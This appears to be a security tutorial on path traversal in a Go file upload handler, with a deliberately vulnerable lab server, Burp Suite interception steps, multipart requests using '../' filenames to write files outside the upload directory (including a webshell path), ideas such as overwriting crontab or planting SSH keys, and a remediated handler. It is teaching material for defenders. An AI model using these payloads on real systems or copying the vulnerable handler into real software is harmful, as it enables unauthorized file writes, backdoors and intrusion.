Introduction
Web application security is a critical skill for any developer or security professional. One of the most common yet often overlooked vulnerabilities is Path Traversal (also known as Directory Traversal). In this article, we will walk through a real-world example of a path traversal vulnerability in a Go web application, analyze it from a source code review perspective, and demonstrate how it can be exploited in a controlled lab environment.
This is a hands-on learning guide aimed at developers who want to understand how attackers think, and security researchers who are beginning their journey into web application penetration testing.
What is Path Traversal?
Path traversal is a vulnerability that allows an attacker to access files and directories outside the intended scope of an application. By manipulating file paths using sequences like ../, an attacker can potentially read sensitive files, overwrite system files, or in severe cases, achieve remote code execution.
According to OWASP, path traversal is classified under CWE-22 and remains one of the most prevalent vulnerabilities in web applications today.
The Vulnerable Code
Let us start with the vulnerable Go code that we will be analyzing:
go
func uploadFile(w http.ResponseWriter, r *http.Request) {
file, header, err := r.FormFile("file")
if err != nil {
fmt.Println("Error Retrieving the File")
return
}
defer file.Close()
tempFile, err := ioutil.TempFile("/tmp", header.Filename)
if err != nil {
fmt.Println(err)
return
}
fileBytes, err := ioutil.ReadAll(file)
if err != nil {
fmt.Println(err)
return
}
tempFile.Write(fileBytes)
defer tempFile.Close()
fmt.Fprintf(w, "Successfully Uploaded File\n")
}At first glance, this looks like a simple file upload handler. However, there is a critical security flaw hiding in plain sight.
Source Code Review — Spotting the Bug
When reviewing code for security vulnerabilities, the first thing to look for is user-controlled input flowing into sensitive functions without sanitization. Let us trace the data flow:
Step 1 — User input enters the application:
go
file, header, err := r.FormFile("file")Here, header.Filename is entirely controlled by the attacker. Whatever filename they send in the multipart request, the application accepts it blindly.
Step 2 — User input reaches a sensitive function:
go
ioutil.TempFile("/tmp", header.Filename)The header.Filename is passed directly as the prefix argument to ioutil.TempFile. In older versions of Go (below 1.17), this allowed the filename to contain path traversal sequences like ../../home/kali/evil, causing files to be written outside the intended /tmp directory.
The golden rule of source code review:
Any user-controlled input that reaches a filesystem, database, or system call without sanitization is a potential vulnerability.
Setting Up the Lab
We will set up this vulnerable application locally on Kali Linux to safely practice exploitation.
Install Go:
bash
sudo apt update && sudo apt install golang -y
go versionCreate the project:
bash
mkdir ~/vulnlab && cd ~/vulnlab
go mod init vulnupload
nano main.goFull vulnerable application:
go
package main
import (
"fmt"
"io"
"net/http"
"os"
)
func uploadFile(w http.ResponseWriter, r *http.Request) {
file, header, err := r.FormFile("file")
if err != nil {
http.Error(w, "Error retrieving file", 400)
return
}
defer file.Close()
uploadDir := "/tmp/uploads/"
os.MkdirAll(uploadDir, 0755)
// VULNERABLE: No sanitization on filename
savePath := uploadDir + header.Filename
fmt.Println("[*] Saving to:", savePath)
dst, err := os.Create(savePath)
if err != nil {
http.Error(w, err.Error(), 500)
return
}
defer dst.Close()
io.Copy(dst, file)
fmt.Fprintf(w, "Saved to: %s\n", savePath)
}
func main() {
http.HandleFunc("/upload", uploadFile)
fmt.Println("[*] Server running on http://localhost:9090")
http.ListenAndServe(":9090", nil)
}Run the server:
go run main.goIntercepting Traffic with Burp Suite
Before exploiting, we route our traffic through Burp Suite to inspect and manipulate requests.
Configure Burp:
- Open Burp Suite Community Edition
- Go to
Proxy → Options → Proxy Listeners - Confirm listener is running on
127.0.0.1:8080 - Enable
Proxy → Intercept → Intercept is on
Send a normal request through Burp:
echo "hello" > /tmp/test.txt
curl -x http://127.0.0.1:8080 \
-F "file=@/tmp/test.txt" \
http://localhost:9090/uploadYou will see the request appear in Burp's Intercept tab:
POST /upload HTTP/1.1
Host: localhost:9090
Content-Type: multipart/form-data; boundary=----boundary
------boundary
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
hello
------boundary--Right-click the request and select Send to Repeater, then forward it.
Exploitation
Now the fun begins. In Burp Repeater, we modify the filename field to include path traversal sequences.
Attempt 1 — One directory up:
Content-Disposition: form-data; name="file"; filename="../evil.txt
ls /tmp/
# evil.txt should appear outside /tmp/uploadsAttempt 2 — Into home directory:
Content-Disposition: form-data; name="file"; filename="../../home/kali/pwned.txt"
ls /home/kali/
# pwned.txt should appear hereAttempt 3 — Deeper traversal:
http
Content-Disposition: form-data; name="file"; filename="../../../var/www/html/shell.php"If a web server is running, you could potentially write a webshell.
Understanding the Path Resolution
Here is how the traversal resolves step by step:
Base path: /tmp/uploads/
Filename: ../../home/kali/pwned.txt
Resolution:
/tmp/uploads/
↑
.. → /tmp/
↑
.. → /
↓
home/kali/pwned.txt
Final path: /home/kali/pwned.txt ✅Why This is Dangerous in Real World
In a real application running as root or a privileged user, this vulnerability could allow an attacker to:
- Overwrite
/etc/crontabto establish persistence - Write SSH keys to
/root/.ssh/authorized_keysfor backdoor access - Overwrite application configuration files
- Deploy webshells if a web server directory is writable
The Fix
Here is how to properly remediate this vulnerability:
import (
"path/filepath"
"strings"
"regexp"
)
func uploadFile(w http.ResponseWriter, r *http.Request) {
file, header, err := r.FormFile("file")
if err != nil {
http.Error(w, "Error retrieving file", 400)
return
}
defer file.Close()
// FIX 1: Strip all directory components
safeFilename := filepath.Base(header.Filename)
// FIX 2: Allow only safe characters
safeFilename = regexp.MustCompile(`[^a-zA-Z0-9._-]`).
ReplaceAllString(safeFilename, "_")
uploadDir := "/tmp/uploads/"
os.MkdirAll(uploadDir, 0755)
savePath := filepath.Join(uploadDir, safeFilename)
// FIX 3: Verify final path is inside intended directory
if !strings.HasPrefix(savePath, uploadDir) {
http.Error(w, "Invalid file path", 400)
return
}
dst, err := os.Create(savePath)
if err != nil {
http.Error(w, err.Error(), 500)
return
}
defer dst.Close()
io.Copy(dst, file)
fmt.Fprintf(w, "File uploaded successfully\n")
}What each fix does:
filepath.Base() strips everything except the final filename component, so ../../home/kali/evil.txt becomes just evil.txt.
regexp sanitization removes any character that is not alphanumeric, a dot, dash, or underscore.
strings.HasPrefix acts as a final safety net, ensuring the resolved path always stays within the intended upload directory.
Key Takeaways
Source code review is about tracing user input to sensitive functions. Any unsanitized input reaching os.Create, ioutil.TempFile, os.Open, or similar calls is a red flag. Always use filepath.Base and filepath.Join when constructing paths from user input. Defense in depth means applying multiple layers of validation, not just one. Practice in a controlled lab environment before attempting any real-world testing.
Further Practice
To continue building your skills, explore DVWA (Damn Vulnerable Web Application) for more vulnerability types, PentesterLab for structured web security exercises, HackTheBox and TryHackMe for realistic penetration testing scenarios, and the OWASP Testing Guide for professional methodology.
Conclusion
Path traversal vulnerabilities are deceptively simple yet potentially devastating. As this walkthrough demonstrates, a single line of unsanitized code can open the door to serious filesystem attacks. By learning to read code like an attacker and setting up local labs to test your findings, you build the muscle memory needed to catch these bugs before they reach production.
Security is not just about tools — it is about understanding how systems work and how they can be abused. Happy hacking, responsibly.